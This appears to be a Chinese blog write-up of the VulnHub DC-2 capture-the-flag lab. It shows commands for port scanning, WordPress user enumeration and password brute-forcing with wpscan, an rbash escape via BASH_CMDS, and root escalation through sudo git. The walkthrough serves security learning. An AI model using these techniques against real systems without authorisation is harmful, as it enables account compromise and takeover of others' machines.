VulnHub_DC-2渗透流程

VulnHub_DC-2

信息收集

探测目标主机IP地址

arp-scan -l

nmap -sV -A -p- 192.168.157.143

得知开启80端口的http服务与7744端口开启的ssh

访问网站拿flag1

访问发现有域名但看不到ip,原因是DNS未转换

在windows中 DNS的域名文件在 C:\windows\system32\drivers\etc\hosts

修改添加映射关系

cd C:\Windows\System32\drivers\etc
notepad hosts

注意:这里要用管理员权限启动cmd,否则将无权限修改hosts文件

修改后访问成功

得到flag1

登录网站拿flag2

flag1提示 使用 cewl 生成字典

cewl http://dc-2/ -w dict.txt 

都让我们生成字典了,肯定是有登录界面

这里用dirsearch扫目录

dirsearch -u http://dc-2/ -e * 

找到登录界面,访问成功

目前只有密码字典,所以还需要使用 wpscan 枚举 WordPress 站点中注册过的用户名,来制作用户名字典

wpscan --url http://dc-2/ -e u

将得到的用户名存入 user.txt,与之前生成的 dict.txt 结合对网站进行爆破

wpscan --url http://dc-2/ -U user.txt -P dict.txt

成功得到jerry用户与tom用户的密码

登录jerry用户,在Pages内拿到flag2

ssh拿flag3

尝试ssh登录,jerry的密码错误,tom用户成功登录

查看发现flag3

当前为 rbash,是被限制的 Shell,所以可以考虑进行 rbash 绕过。

它与一般shell的区别在于会限制一些行为,让一些命令无法执行

查看下当前可用命令

compgen -c	

这里用vi查看即可

flag3:Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes

rbash绕过拿flag4

flag3中包含 Jerry 和 su ,所以猜测需要使用 su jerry 登录到 jerry 用户下,尝试后发现 su 命令无法使用,所以下一步尝试进行 rbash 绕过

BASH_CMDS[a]=/bin/sh;a       #注:把 /bin/sh 给a变量并调用
export PATH=$PATH:/bin/      #注:将 /bin 作为PATH环境变量导出
export PATH=$PATH:/usr/bin   #注:将 /usr/bin 作为PATH环境变量导出

绕过成功,登录jerry用户,拿到flag4

git提权拿flag5

文本内提到 git,考虑git提权,查看可用命令

sudo -l

git命令可以使用root权限,证实我们的观点

sudo git help config

在编辑模式下输入!/bin/sh即可看到提权成功

开启交互

python -c "import pty;pty.spawn('/bin/bash')"

得到flag5

简单总结

与DC-1相比新增了修改 hosts 文件来访问网站,使用工具 wpscan ,rbash绕过,git 提权的知识

再推荐一篇关于rbash的好文

posted @ 2023-05-30 13:41  Mar10  阅读(52)  评论(0)    收藏  举报